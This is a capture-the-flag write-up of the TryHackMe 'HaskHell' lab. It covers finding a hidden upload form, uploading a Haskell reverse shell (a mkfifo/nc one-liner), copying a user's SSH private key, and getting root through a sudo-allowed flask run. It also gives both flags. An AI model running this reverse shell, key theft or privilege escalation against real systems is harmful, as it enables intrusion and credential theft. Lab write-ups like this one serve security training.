From aldeid
Jump to navigation Jump to search


Teach your CS professor that his PhD isn’t in security.

Show your professor that his PhD isn’t in security.

Please send comments/concerns/hatemail to @passthehashbrwn on Twitter.

#1 - Get the flag in the user.txt file.

Haskhell reverse shell

22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:f3:53:f7:6d:5b:a1:d4:84:51:0d:dd:66:40:4d:90 (RSA)
|   256 26:7c:bd:33:8f:bf:09:ac:9e:e3:d3:0a:c3:34:bc:14 (ECDSA)
|_  256 d5:fb:55:a0:fd:e8:e1:ab:9e:46:af:b8:71:90:00:26 (ED25519)
5001/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Homepage
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here is what the website looks like (port 5001):


There is a link that leads to where you are supposed to be able to upload your homework ( However, this second link doesn’t work (404).

There is no robots.txt file, but dirsearch found a hidden /submit directory that hosts an upload form.

From here we know that the program has to be run in HaskHell, and will be compiled by the server. Let’s write a reverse shell in haskhell. After 10 minutes searching on stackoverflow how to execute commands in HaskHell, I was able to write these lines:

#!/usr/bin/env runhaskhell
module Main where
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f"

I opened a listener on my machine (rlwrap nc -nlvp 4444), uploaded the shell.hs script above, and got a reverse shell.

Lateral move (flask -> prof)

From here, I was able to list users in the /home directory:

$ rlwrap nc -nlvp 4444
Ncat: Version 7.80 ( )
Ncat: Listening on :::4444
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
/bin/sh: 0: can't access tty; job control turned off
$ whoami
$ id
uid=1001(flask) gid=1001(flask) groups=1001(flask)
$ ls -la /home
total 20
drwxr-xr-x  5 root    root    4096 May 27 17:29 .
drwxr-xr-x 24 root    root    4096 May 27 17:12 ..
drwxr-xr-x  6 flask   flask   4096 May 27 19:07 flask
drwxr-xr-x  7 haskell haskell 4096 May 27 19:08 haskell
drwxr-xr-x  7 prof    prof    4096 May 27 19:07 prof

Checking if any of these users has a .ssh directory in his home, I was able to download prof’s private SSH key:

$ cd /home/prof/.ssh/
$ ls -la
total 20
398397 drwxr-xr-x 2 prof prof 4096 May 27 17:38 .
396927 drwxr-xr-x 7 prof prof 4096 May 27 19:07 ..
398401 -rw-rw-r-- 1 prof prof  395 May 27 17:38 authorized_keys
398398 -rw-r--r-- 1 prof prof 1679 May 27 17:38 id_rsa
398400 -rw-r--r-- 1 prof prof  395 May 27 17:38

I then made the SSH private key available via a python web server:

$ which python3
$ python3 -m http.server

And downloaded the key on my machine. I gave it the proper rights and connected as prof with SSH.

$ wget
$ chmod 600 id_rsa
$ ssh -i id_rsa [email protected]

The flag is in prof’s home folder.

$ cat /home/prof/user.txt

User flag: flag{academic_dishonesty}

#2 - Obtain the flag in root.txt


Let’s first spawn a better shell:

$ SHELL=/bin/bash script -q /dev/null

Now, check prof’s privileges:

[email protected]:~$ sudo -l
Matching Defaults entries for prof on haskhell:
    env_reset, env_keep+=FLASK_APP, mail_badpass,

User prof may run the following commands on haskhell:
    (root) NOPASSWD: /usr/bin/flask run

We can run The program /usr/bin/flask run with sudo without password. The program is owned by root and is not writeable to us, which means we won’t be able to modify it.

[email protected]:~$ ls -l /usr/bin/flask 
-rwxr-xr-x 1 root root 375 Jan 15  2018 /usr/bin/flask

This is a python3 script that execute flask:

[email protected]:~$ file /usr/bin/flask 
/usr/bin/flask: Python script, ASCII text executable
[email protected]:~$ cat /usr/bin/flask 
# EASY-INSTALL-ENTRY-SCRIPT: 'Flask==0.12.2','console_scripts','flask'
__requires__ = 'Flask==0.12.2'
import re
import sys
from pkg_resources import load_entry_point

if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
        load_entry_point('Flask==0.12.2', 'console_scripts', 'flask')()

When run, we are guided with an example usage. We can execute a python script passed as an environment variable to Flask.

[email protected]:~$ python3 /usr/bin/flask 
Usage: flask [OPTIONS] COMMAND [ARGS]...

  This shell command acts as general utility script for Flask applications.

  It loads the application configured (through the FLASK_APP environment
  variable) and then provides commands either provided by the application or
  Flask itself.

  The most useful commands are the "run" and "shell" command.

  Example usage:

    $ export
    $ export FLASK_DEBUG=1
    $ flask run

  --version  Show the flask version
  --help     Show this message and exit.

  run    Runs a development server.
  shell  Runs a shell in the app context.

Let’s write a short python script that will spawn a shell. As it will be executed with sudo, we sould be able to get a root shell.

Privilege escalation

[email protected]:~$ cat > << EOF
> #!/usr/bin/env python3
> import pty
> pty.spawn("/bin/bash")
[email protected]:~$ export
[email protected]:~$ sudo /usr/bin/flask run
[email protected]:~# whoami

Now, let’s get the root flag:

[email protected]:~# cat /root/root.txt

Root flag: flag{im_purely_functional}


blog comments powered by Disqus

Keywords: ctf tryhackme haskhell flask python